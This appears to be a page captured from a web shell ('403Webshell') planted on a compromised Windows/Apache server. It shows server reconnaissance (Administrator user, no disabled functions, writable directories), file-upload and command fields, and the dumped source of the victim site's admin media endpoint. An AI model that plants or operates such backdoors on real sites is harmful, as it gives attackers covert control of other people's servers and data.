403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bpkd/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bpkd/admin/get_media_item.php
<?php
/**
 * File: admin/get_media_item.php
 * Mengambil data media untuk edit via AJAX
 */

require_once 'config/database.php';
require_once '../includes/config.php'; // Load BASE_URL
require_once 'includes/init.php';

requireLogin();

$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;

if ($id > 0) {
    $result = $conn->query("SELECT * FROM media WHERE id = $id");
    if ($result && $result->num_rows > 0) {
        $data = $result->fetch_assoc();
        
        // Perbaiki path file menggunakan BASE_URL
        if (!empty($data['filepath'])) {
            $data['file_url'] = BASE_URL . '/' . $data['filepath'];
        }
        
        // Format file size
        $data['filesize_formatted'] = formatBytes($data['filesize']);
        
        echo json_encode([
            'success' => true,
            'id' => $data['id'],
            'filename' => $data['filename'],
            'original_filename' => $data['original_filename'],
            'filepath' => $data['filepath'],
            'file_url' => $data['file_url'] ?? '',
            'filetype' => $data['filetype'],
            'filesize' => $data['filesize'],
            'filesize_formatted' => $data['filesize_formatted'],
            'title' => $data['title'],
            'alt_text' => $data['alt_text'],
            'caption' => $data['caption']
        ]);
        exit;
    }
}

echo json_encode(['success' => false]);
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit